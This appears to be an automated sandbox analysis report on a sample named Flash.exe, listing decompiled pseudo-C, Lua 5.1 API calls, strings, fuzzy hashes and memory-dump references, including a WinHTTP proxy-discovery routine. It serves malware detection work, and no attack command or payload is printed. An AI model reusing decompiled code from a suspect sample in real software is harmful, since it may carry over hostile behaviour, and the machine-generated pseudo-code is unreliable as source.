Opcode Fuzzy Hash: 1b3c85390884bc265a72f12abc6793d9d3fc7707c6268349c6746777b983fc11
Instruction Fuzzy Hash: 3DE0BFB9A042047FD604DB64EC4186B77E8FBC4641F84892CF94DC7241E67ADD98C6A2

Uniqueness

Uniqueness Score: -1.00%

Function 10012CD0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

luaL_checkudata.LUA5.1(?,00000001,FILE*), ref: 10012CDE

Part of subcall function 1000F370: lua_touserdata.LUA5.1(?,?), ref: 1000F37E
Part of subcall function 1000F370: lua_getmetatable.LUA5.1(?,?), ref: 1000F392
Part of subcall function 1000F370: lua_getfield.LUA5.1(?,FFFFD8F0,?), ref: 1000F3A5
Part of subcall function 1000F370: lua_rawequal.LUA5.1(?,000000FF,000000FE,?,FFFFD8F0,?), ref: 1000F3AF
Part of subcall function 1000F370: lua_settop.LUA5.1(?,000000FD), ref: 1000F3BE

fclose.MSVCRT ref: 10012CE8

Part of subcall function 10012160: _errno.MSVCRT ref: 10012161
Part of subcall function 10012160: lua_pushboolean.LUA5.1(?,00000001), ref: 10012178

Strings

FILE*, xrefs: 10012CD6

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checkudata._errnofcloselua_getfield.lua_getmetatable.lua_pushboolean.lua_rawequal.lua_settop.lua_touserdata.
String ID: FILE*
API String ID: 82883824-3635956593
Opcode ID: 840091623cd79a8aa4bbe9c2117baf9351e354a9ee849dd2c97c4d4b6937b355
Instruction ID: 5c27961107024f9d745ae5ad47a6c47d70051f6b1d8190155e399615ae053d5c
Opcode Fuzzy Hash: 840091623cd79a8aa4bbe9c2117baf9351e354a9ee849dd2c97c4d4b6937b355
Instruction Fuzzy Hash: 7AE0C2B5600210BEE220DA28AC41F7B72F8EB8A620F100409F545D7281D274A8814660

Uniqueness

Uniqueness Score: -1.00%

Function 1000F470, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

lua_type.LUA5.1(?,?), ref: 1000F47C
luaL_argerror.LUA5.1(?,?,value expected), ref: 1000F490

Part of subcall function 1000F090: lua_getstack.LUA5.1(?,00000000), ref: 1000F0A0
Part of subcall function 1000F090: luaL_error.LUA5.1(?,bad argument #%d (%s),?,?), ref: 1000F0BC

Strings

value expected, xrefs: 1000F489

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_error.lua_getstack.lua_type.
String ID: value expected
API String ID: 1081076926-841185261
Opcode ID: f49d4d61d69da8b4060fbf0356cad906b4af7f6955dd9632042e9c94b85d2c0f
Instruction ID: e3927f922e764ab865d1ccd8ee7431ac366611c1bb59692a42b3670c0049da55
Opcode Fuzzy Hash: f49d4d61d69da8b4060fbf0356cad906b4af7f6955dd9632042e9c94b85d2c0f
Instruction Fuzzy Hash: 78D0A72B90811036800091293C41CEF776CCED35B4B054629F52893156A270648151F2

Uniqueness

Uniqueness Score: -1.00%

Function 00593C50, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00593C50(intOrPtr _a4) {
				intOrPtr* _t2;
				intOrPtr _t5;

				_t5 = _a4;
				_t2 = E00591250(_t5, "udp{any}", 1);
				_push(2);
				_push(_t5);
				L00594B66();
				L00594BD0();
				 *_t2 = _t2;
				return 0;
			}

0x00593c51
0x00593c5e
0x00593c63
0x00593c65
0x00593c68
0x00593c70
0x00593c75
0x00593c7b

APIs

Part of subcall function 00591250: sprintf.MSVCRT ref: 0059127F
Part of subcall function 00591250: luaL_argerror.LUA5.1(?,?,?), ref: 0059128C

luaL_checknumber.LUA5.1(?,00000002,?,udp{any},00000001), ref: 00593C68
_ftol.MSVCRT ref: 00593C70

Strings

udp{any}, xrefs: 00593C58

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_checknumber._ftolsprintf
String ID: udp{any}
API String ID: 53105629-1792101638
Opcode ID: 202ba42dc055ee5f7b4b4525140e9fb49597a268b8112676a842aeb0037aff5d
Instruction ID: 2aaf8e04e9b5a1abe56b0018852aab39480a2568cd3b3f4144df826e5468a8eb
Opcode Fuzzy Hash: 202ba42dc055ee5f7b4b4525140e9fb49597a268b8112676a842aeb0037aff5d
Instruction Fuzzy Hash: 72D0A9726142232ADF0077B86C0BF8B2E8AAFD6760F010061F100E7182E5A4880246AA

Uniqueness

Uniqueness Score: -1.00%

Function 00591BE0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00591BE0(intOrPtr _a4) {
				intOrPtr* _t2;
				intOrPtr _t5;

				_t5 = _a4;
				_t2 = E00591250(_t5, "tcp{any}", 1);
				_push(2);
				_push(_t5);
				L00594B66();
				L00594BD0();
				 *_t2 = _t2;
				return 0;
			}

0x00591be1
0x00591bee
0x00591bf3
0x00591bf5
0x00591bf8
0x00591c00
0x00591c05
0x00591c0b

APIs

Part of subcall function 00591250: sprintf.MSVCRT ref: 0059127F
Part of subcall function 00591250: luaL_argerror.LUA5.1(?,?,?), ref: 0059128C

luaL_checknumber.LUA5.1(?,00000002,?,tcp{any},00000001), ref: 00591BF8
_ftol.MSVCRT ref: 00591C00

Strings

tcp{any}, xrefs: 00591BE8

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_checknumber._ftolsprintf
String ID: tcp{any}
API String ID: 53105629-1675391766
Opcode ID: 49a6e8d1b6f8ef6a2e45e4a20767bdfb2c71b51efb029b59b965262b84f30812
Instruction ID: c89b5cf36404c9ea19bd8b759a931a8bc942bd10474f9b89ad0b2588d695f8fb
Opcode Fuzzy Hash: 49a6e8d1b6f8ef6a2e45e4a20767bdfb2c71b51efb029b59b965262b84f30812
Instruction Fuzzy Hash: 23D0A9726142233ADF0076B86C0BF8B2A8AAFC2760F010461F100E7182E6A4980246AA

Uniqueness

Uniqueness Score: -1.00%

Function 1000F3E0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

lua_checkstack.LUA5.1(?,?), ref: 1000F3EB
luaL_error.LUA5.1(?,stack overflow (%s),?), ref: 1000F402

Part of subcall function 1000F230: luaL_where.LUA5.1(?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F238
Part of subcall function 1000F230: lua_pushvfstring.LUA5.1(?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F248
Part of subcall function 1000F230: lua_concat.LUA5.1(?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F250
Part of subcall function 1000F230: lua_error.LUA5.1(?,?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F256

Strings

stack overflow (%s), xrefs: 1000F3FC

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_error.L_where.lua_checkstack.lua_concat.lua_error.lua_pushvfstring.
String ID: stack overflow (%s)
API String ID: 2358384956-1484391883
Opcode ID: f2ba31f9d070d8e8b383a3ac3da485fd480663a3d509efbce06b4f17d16f5328
Instruction ID: de322766641740fb822ad7b0ef498d2428fb7466a19179360c68ac1272a94917
Opcode Fuzzy Hash: f2ba31f9d070d8e8b383a3ac3da485fd480663a3d509efbce06b4f17d16f5328
Instruction Fuzzy Hash: 09D0A9BA8192223BE200C600FC02DEB339CDF841C4F08040CFA4482109E724FE82CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 005E1B20, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E005E1B20(long long __fp0, intOrPtr _a4) {
				intOrPtr _t3;
				void* _t4;

				_t3 = _a4;
				_push(0x5e5418);
				_push("char");
				_push(1);
				_push(_t3);
				L005E3F98();
				asm("fild dword [eax*4+0x5e53d0]");
				 *((long long*)(_t4 + 8)) = __fp0;
				_push(_t3);
				L005E3F80();
				return 1;
			}

0x005e1b21
0x005e1b25
0x005e1b2a
0x005e1b2f
0x005e1b31
0x005e1b32
0x005e1b37
0x005e1b41
0x005e1b44
0x005e1b45
0x005e1b53

APIs

luaL_checkoption.LUA5.1(?,00000001,char,005E5418), ref: 005E1B32
lua_pushnumber.LUA5.1(?), ref: 005E1B45

Strings

char, xrefs: 005E1B2A

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checkoption.lua_pushnumber.
String ID: char
API String ID: 1427278718-2365478815
Opcode ID: df1c4ced6fd521ef2a48eebd33bd839ebd94a80c13923d4ae71efb5bcb1dd38a
Instruction ID: 72b87da1b3d57a916ca652a2e84ccddaf4713cc226f6bad82a963c24c7f0e582
Opcode Fuzzy Hash: df1c4ced6fd521ef2a48eebd33bd839ebd94a80c13923d4ae71efb5bcb1dd38a
Instruction Fuzzy Hash: 69D0A73196496132C6083A057C4ABC93A246F45705F4004A0F1C06B1C1F6D626E503E6

Uniqueness

Uniqueness Score: -1.00%

Function 005E1AE0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E005E1AE0(long long __fp0, intOrPtr _a4) {
				intOrPtr _t3;
				void* _t4;

				_t3 = _a4;
				_push(0x5e5388);
				_push("int");
				_push(1);
				_push(_t3);
				L005E3F98();
				asm("fild dword [eax*4+0x5e5340]");
				 *((long long*)(_t4 + 8)) = __fp0;
				_push(_t3);
				L005E3F80();
				return 1;
			}

0x005e1ae1
0x005e1ae5
0x005e1aea
0x005e1aef
0x005e1af1
0x005e1af2
0x005e1af7
0x005e1b01
0x005e1b04
0x005e1b05
0x005e1b13

APIs

luaL_checkoption.LUA5.1(?,00000001,int,005E5388), ref: 005E1AF2
lua_pushnumber.LUA5.1(?), ref: 005E1B05

Strings

int, xrefs: 005E1AEA

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checkoption.lua_pushnumber.
String ID: int
API String ID: 1427278718-340908721
Opcode ID: deea0883debd72824b71261532870d65563084d662ec5177df049854a774ff32
Instruction ID: 518c83a3232e30eec25b51e9cedfad91770acc3a63742273a72776d8b9e216c5
Opcode Fuzzy Hash: deea0883debd72824b71261532870d65563084d662ec5177df049854a774ff32
Instruction Fuzzy Hash: 03D0A731954A5136C6083E057C4ABCD3A246F59345F400890F0C05B1C1F6E616A50296

Uniqueness

Uniqueness Score: -1.00%

Function 100100C0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14COMMON

Download Yara Rule

APIs

lua_tolstring.LUA5.1(?,000000FF,00000000), ref: 100100C9
fprintf.MSVCRT ref: 100100DE

Strings

PANIC: unprotected error in call to Lua API (%s), xrefs: 100100D8

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: fprintflua_tolstring.
String ID: PANIC: unprotected error in call to Lua API (%s)
API String ID: 3479231366-3475711442
Opcode ID: de3ed53d8bb76be1118d3ed8545df56a22a68bac6fa37cb381fd691fc013386b
Instruction ID: 03066b0783d6fd297a0dd810a6237e5754e0cf847fa7c31d905c26b7a4d2e619
Opcode Fuzzy Hash: de3ed53d8bb76be1118d3ed8545df56a22a68bac6fa37cb381fd691fc013386b
Instruction Fuzzy Hash: 3FD012F4514311B7F604D7789D95F463268A744264F144748F71D961D6CA35F4018654

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00401000(void* __eax, intOrPtr _a4) {
				intOrPtr _t3;

				_t3 = _a4;
				_push(0);
				_push(0);
				_push(0);
				_push(_t3);
				L00401F84();
				_push("interrupted!");
				_push(_t3);
				L00401F24();
				return __eax;
			}

0x00401001
0x00401005
0x00401007
0x00401009
0x0040100b
0x0040100c
0x00401011
0x00401016
0x00401017
0x00401020

APIs

lua_sethook.LUA5.1(?,00000000,00000000,00000000), ref: 0040100C
luaL_error.LUA5.1(?,interrupted!,?,00000000,00000000,00000000), ref: 00401017

Strings

interrupted!, xrefs: 00401011

Memory Dump Source

Source File: 00000002.00000002.469050412.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.469008352.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469103768.0000000000403000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469156229.0000000000405000.00000002.00020000.sdmp Download File

Similarity

API ID: L_error.lua_sethook.
String ID: interrupted!
API String ID: 3268213862-4124862318
Opcode ID: be5a52660c0e3419c9ec3dd70b7333d40248d44ca4d1e59472e8ce635f5712e7
Instruction ID: 5fc3c1333a75a2fde148d886efba82eb5488c6b3636bb9de16bace9a97fab2a4
Opcode Fuzzy Hash: be5a52660c0e3419c9ec3dd70b7333d40248d44ca4d1e59472e8ce635f5712e7
Instruction Fuzzy Hash: 4DC04C3268562231D51136156C03FCE554C0F46B14F65015AFA043B1D296F8664201EE

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Flash.exe PID: 5864 Parent PID: 528 Flash.exeCOMMON

Executed Functions

Function 01018F10, Relevance: 45.8, APIs: 15, Strings: 11, Instructions: 319
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E01018F10(short* __ecx, char* _a4) {
				signed int _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				signed int _v24;
				int _v28;
				void* _v32;
				char _v36;
				intOrPtr _v40;
				void* _v52;
				intOrPtr _v56;
				char _v60;
				char _v61;
				char* _v68;
				signed int _v72;
				int _v76;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t75;
				void* _t77;
				void* _t84;
				void* _t85;
				signed int _t88;
				void* _t89;
				void* _t90;
				void* _t91;
				signed int _t92;
				void* _t93;
				short* _t106;
				signed int _t108;
				signed int _t109;
				void* _t111;
				signed int _t116;
				void* _t117;
				void* _t120;
				signed int _t126;
				void* _t127;
				signed int _t131;
				void* _t132;
				void* _t133;
				signed int _t138;
				signed short _t139;
				void* _t141;
				char _t145;
				void* _t151;
				signed int _t160;
				void* _t166;
				void* _t167;
				signed short* _t168;
				signed short* _t171;
				char* _t175;
				intOrPtr _t176;
				short* _t177;
				void* _t179;
				signed short* _t180;
				signed short* _t181;
				signed int _t183;
				void* _t184;
				void* _t186;
				void* _t188;

				_t75 =  *0x12e4400; // 0xba8af472
				_v8 = _t75 ^ _t183;
				_t175 = _a4;
				_t144 = __ecx;
				_v68 = _t175;
				if(__ecx == 0) {
					_t77 = E01011520(__ecx, _t173);
					 *((intOrPtr*)( *((intOrPtr*)(_t77 + 0xf8)) + 0x1c))("HTTPConnectorError", "GetIEProxyInfo - invalid arguments");
					__eflags = 0;
					return E011FE130(__ecx, _v8 ^ _t183, _t169, _t173, _t175, _t77 + 0xf8);
				} else {
					 *__ecx = 0;
					_t84 =  *0x12e6d8c( &_v24); // executed
					if(_t84 == 0) {
						_t141 = E01011520(__ecx, _t173);
						_t173 =  *(_t141 + 0xf8);
						_t6 = _t141 + 0xf8; // 0xf8
						 *((intOrPtr*)( *(_t141 + 0xf8) + 0x14))(_t6, "GetIEProxyInfo - Failed to get proxy setting for current user :%d", GetLastError());
						_t175 = _v68;
						_t184 = _t184 + 0xc;
					}
					if(_v16 == 0) {
						_t85 = E01011520(_t144, _t173);
						 *((intOrPtr*)( *((intOrPtr*)(_t85 + 0xf8)) + 0xc))(_t85 + 0xf8, "GetIEProxyInfo - No default proxy present on the user machine");
						_t186 = _t184 + 8;
						_t173 = 0;
						asm("xorps xmm0, xmm0");
						_v61 = 0;
						_v72 = 0;
						asm("movq [ebp-0x38], xmm0");
						asm("movq [ebp-0x30], xmm0");
						asm("movq [ebp-0x28], xmm0");
						asm("movq [ebp-0x20], xmm0");
						_v28 = 0;
						_t88 = MultiByteToWideChar(0xfde9, 0, _t175, 0xffffffff, 0, 0);
						_v76 = _t88;
						__eflags = _t88;
						if(__eflags == 0) {
							L43:
							_t145 = _v61;
						} else {
							_t169 = _t88 * 2 >> 0x20;
							_t106 = E010DA13E(__eflags);
							_t186 = _t186 + 4;
							_t177 = _t106;
							_v72 = _t177;
							MultiByteToWideChar(0xfde9, 0, _v68, 0xffffffff, _t177, _v76);
							_t108 =  *0x12e6da4("WinHTTP AutoProxy", 1, 0, 0, 0,  ~(0 | __eflags > 0x00000000) | _t88 * 0x00000002); // executed
							_t173 = _t108;
							_v68 = _t173;
							__eflags = _t173;
							if(_t173 == 0) {
								goto L43;
							} else {
								__eflags = _v20;
								if(_v20 == 0) {
									__eflags = _v24;
									if(_v24 != 0) {
										__eflags =  *0x12e5884;
										_v60 = 1;
										_v56 = 3;
										_v40 = 1;
										if( *0x12e5884 != 0) {
											_t116 =  *0x12e6da0(_t173, _t177,  &_v60,  &_v36); // executed
											__eflags = _t116;
											if(_t116 == 0) {
												 *0x12e5884 = _t116;
												goto L37;
											}
										}
									}
								} else {
									_t120 = E01011520(_t144, _t173);
									 *((intOrPtr*)( *((intOrPtr*)(_t120 + 0xf8)) + 0x14))(_t120 + 0xf8, "GetIEProxyInfo - autoconfig url on the machine is :%s", _v20);
									_t186 = _t186 + 0xc;
									_v52 = _v20;
									_v60 = 2;
									_v40 = 1;
									_t126 =  *0x12e6da0(_t173, _t177,  &_v60,  &_v36);
									__eflags = _t126;
									if(_t126 == 0) {
										L37:
										_t117 = E01011520(_t144, _t173);
										_t56 = _t117 + 0xf8; // 0xf8
										 *((intOrPtr*)( *((intOrPtr*)(_t117 + 0xf8)) + 0x14))(_t56, "GetIEProxyInfo - Failed to get proxy for the url, error:%d", GetLastError());
										_t173 = _v68;
										_t186 = _t186 + 0xc;
									}
								}
								_t160 = _v32;
								__eflags = _t160;
								if(_t160 == 0) {
									goto L43;
								} else {
									_t169 = _t160 + 2;
									do {
										_t109 =  *_t160;
										_t160 = _t160 + 2;
										__eflags = _t109;
									} while (_t109 != 0);
									__eflags = _t160 - _t169 >> 1 - 0x100;
									if(_t160 - _t169 >> 1 > 0x100) {
										goto L43;
									} else {
										E011FF451(_t144, 0x100, _v32);
										_t111 = E01011520(_t144, _t173);
										 *((intOrPtr*)( *((intOrPtr*)(_t111 + 0xf8)) + 0x14))(_t111 + 0xf8, "GetIEProxyInfo - proxy Url is %s", _t144);
										_t186 = _t186 + 0x18;
										_t145 = 1;
									}
								}
							}
						}
						_t89 = _v20;
						_t176 =  *0x12504e4;
						__eflags = _t89;
						if(_t89 != 0) {
							GlobalFree(_t89);
						}
						_t90 = _v16;
						__eflags = _t90;
						if(_t90 != 0) {
							GlobalFree(_t90);
						}
						_t91 = _v12;
						__eflags = _t91;
						if(_t91 != 0) {
							GlobalFree(_t91);
						}
						_t92 = _v72;
						__eflags = _t92;
						if(_t92 != 0) {
							L010DA139(_t92);
						}
						_t151 = _v32;
						__eflags = _t151;
						if(_t151 != 0) {
							GlobalFree(_t151);
						}
						_t93 = _v28;
						__eflags = _t93;
						if(_t93 != 0) {
							GlobalFree(_t93);
						}
						__eflags = _t173;
						if(_t173 == 0) {
							goto L27;
						} else {
							 *0x12e6d98();
							__eflags = _v8 ^ _t183;
							return E011FE130(_t145, _v8 ^ _t183, _t169, _t173, _t176, _t173);
						}
					} else {
						_t127 = E01011520(_t144, _t173);
						_t165 =  *((intOrPtr*)(_t127 + 0xf8));
						 *((intOrPtr*)( *((intOrPtr*)(_t127 + 0xf8)) + 0x14))(_t127 + 0xf8, "GetIEProxyInfo - proxy fetched is :%s", _v16);
						_push("https=");
						_push(_v16);
						_v61 = 0;
						_t179 = E011FEEFF( *((intOrPtr*)(_t127 + 0xf8)));
						_t188 = _t184 + 0x14;
						if(_t179 == 0) {
							_push(0x128ca94);
							_push(_v16);
							_t131 = E011FEEFF(_t165);
							_t188 = _t188 + 8;
							__eflags = _t131;
							if(_t131 != 0) {
								goto L20;
							} else {
								_t180 = _v16;
								goto L8;
							}
						} else {
							_t180 = _t179 + 0xc;
							L8:
							_push("://");
							_push(_t180);
							_t167 = E011FEEFF(_t165);
							if(_t167 == 0) {
								_t168 = _t180;
							} else {
								_t168 = _t167 + 6;
							}
							while( *_t168 == 0x20) {
								_t168 =  &(_t168[1]);
							}
							_t138 =  *_t168 & 0x0000ffff;
							if(_t138 == 0 || _t138 == 0x3a) {
								L20:
								_t145 = _v61;
							} else {
								_t171 = _t168;
								_t181 =  &(_t171[1]);
								do {
									_t139 =  *_t171;
									_t171 =  &(_t171[1]);
								} while (_t139 != 0);
								_t169 = _t171 - _t181 >> 1;
								if(_t171 - _t181 >> 1 > 0x100) {
									goto L20;
								} else {
									E011FF451(_t144, 0x100, _t168);
									_t145 = 1;
								}
							}
						}
						_t132 = _v20;
						_t176 =  *0x12504e4;
						if(_t132 != 0) {
							GlobalFree(_t132);
						}
						_t133 = _v16;
						if(_t133 != 0) {
							GlobalFree(_t133);
						}
						_t166 = _v12;
						if(_t166 != 0) {
							GlobalFree(_t166);
						}
						L27:
						return E011FE130(_t145, _v8 ^ _t183, _t169, _t173, _t176);
					}
				}
			}

0x01018f16
0x01018f1d
0x01018f22
0x01018f25
0x01018f28
0x01018f2d
0x01019293
0x010192ae
0x010192bb
0x010192c6
0x01018f33
0x01018f35
0x01018f3c
0x01018f44
0x01018f46
0x01018f4b
0x01018f51
0x01018f64
0x01018f67
0x01018f6a
0x01018f6a
0x01018f71
0x01019074
0x0101908a
0x0101908d
0x01019090
0x01019097
0x010190a0
0x010190a4
0x010190ab
0x010190b0
0x010190b5
0x010190ba
0x010190bf
0x010190c2
0x010190c8
0x010190cb
0x010190cd
0x01019226
0x01019226
0x010190d3
0x010190da
0x010190e4
0x010190e9
0x010190ec
0x010190f1
0x01019100
0x01019110
0x01019116
0x01019118
0x0101911b
0x0101911d
0x00000000
0x01019123
0x01019123
0x01019127
0x01019172
0x01019176
0x01019178
0x0101917f
0x01019186
0x0101918d
0x01019194
0x010191a0
0x010191a6
0x010191a8
0x010191aa
0x00000000
0x010191aa
0x010191a8
0x01019194
0x01019129
0x01019129
0x01019142
0x01019148
0x0101914b
0x01019158
0x0101915f
0x01019166
0x0101916c
0x0101916e
0x010191af
0x010191af
0x010191ba
0x010191cd
0x010191d0
0x010191d3
0x010191d3
0x0101916e
0x010191d6
0x010191d9
0x010191db
0x00000000
0x010191dd
0x010191dd
0x010191e0
0x010191e0
0x010191e3
0x010191e6
0x010191e6
0x010191ef
0x010191f5
0x00000000
0x010191f7
0x01019200
0x01019205
0x0101921c
0x0101921f
0x01019222
0x01019222
0x010191f5
0x010191db
0x0101911d
0x01019229
0x0101922c
0x01019232
0x01019234
0x01019237
0x01019237
0x01019239
0x0101923c
0x0101923e
0x01019241
0x01019241
0x01019243
0x01019246
0x01019248
0x0101924b
0x0101924b
0x0101924d
0x01019250
0x01019252
0x01019255
0x0101925a
0x0101925d
0x01019260
0x01019262
0x01019265
0x01019265
0x01019267
0x0101926a
0x0101926c
0x0101926f
0x0101926f
0x01019271
0x01019273
0x00000000
0x01019279
0x0101927a
0x01019288
0x01019292
0x01019292
0x01018f77
0x01018f77
0x01018f7f
0x01018f90
0x01018f93
0x01018f98
0x01018f9b
0x01018fa4
0x01018fa6
0x01018fab
0x01018fb2
0x01018fb7
0x01018fba
0x01018fbf
0x01018fc2
0x01018fc4
0x00000000
0x01018fc6
0x01018fc6
0x00000000
0x01018fc6
0x01018fad
0x01018fad
0x01018fc9
0x01018fc9
0x01018fce
0x01018fd4
0x01018fdb
0x01018fe2
0x01018fdd
0x01018fdd
0x01018fdd
0x01018fe8
0x01018ff0
0x01018ff3
0x01018ff9
0x01018fff
0x0101903a
0x0101903a
0x01019006
0x01019006
0x01019008
0x01019010
0x01019010
0x01019013
0x01019016
0x0101901d
0x01019025
0x00000000
0x01019027
0x0101902e
0x01019036
0x01019036
0x01019025
0x01018fff
0x0101903d
0x01019040
0x01019048
0x0101904b
0x0101904b
0x0101904d
0x01019052
0x01019055
0x01019055
0x01019057
0x0101905c
0x0101905f
0x0101905f
0x01019061
0x01019073
0x01019073
0x01018f71

APIs

GetLastError.KERNEL32 ref: 01018F57
_wcsstr.LIBCMT ref: 01018F9F
_wcsstr.LIBCMT ref: 01018FBA
_wcsstr.LIBCMT ref: 01018FCF
GlobalFree.KERNEL32(?), ref: 0101904B
GlobalFree.KERNEL32(?), ref: 01019055
GlobalFree.KERNEL32(?), ref: 0101905F
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 010190C2
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?), ref: 01019100
GetLastError.KERNEL32 ref: 010191C0

Strings

WinHTTP AutoProxy, xrefs: 0101910B
https=, xrefs: 01018F93
://, xrefs: 01018FC9
GetIEProxyInfo - No default proxy present on the user machine, xrefs: 01019084
GetIEProxyInfo - autoconfig url on the machine is :%s, xrefs: 0101913C
GetIEProxyInfo - Failed to get proxy setting for current user :%d, xrefs: 01018F5E
GetIEProxyInfo - Failed to get proxy for the url, error:%d, xrefs: 010191C7
GetIEProxyInfo - proxy Url is %s, xrefs: 01019216
HTTPConnectorError, xrefs: 010192A8
GetIEProxyInfo - invalid arguments, xrefs: 010192A3
GetIEProxyInfo - proxy fetched is :%s, xrefs: 01018F8A

Memory Dump Source

Source File: 00000004.00000002.470726724.0000000001011000.00000040.00020000.sdmp, Offset: 01010000, based on PE: true

Associated: 00000004.00000002.470698864.0000000001010000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.472614832.00000000012EC000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.472631957.00000000012F0000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473024202.00000000013C1000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473169405.00000000013FD000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473220432.0000000001405000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473236795.0000000001409000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473263945.000000000140D000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473297985.0000000001417000.00000040.00020000.sdmp Download File
Associated: 00000004.00000002.473386136.000000000142E000.00000040.00020000.sdmp Download File
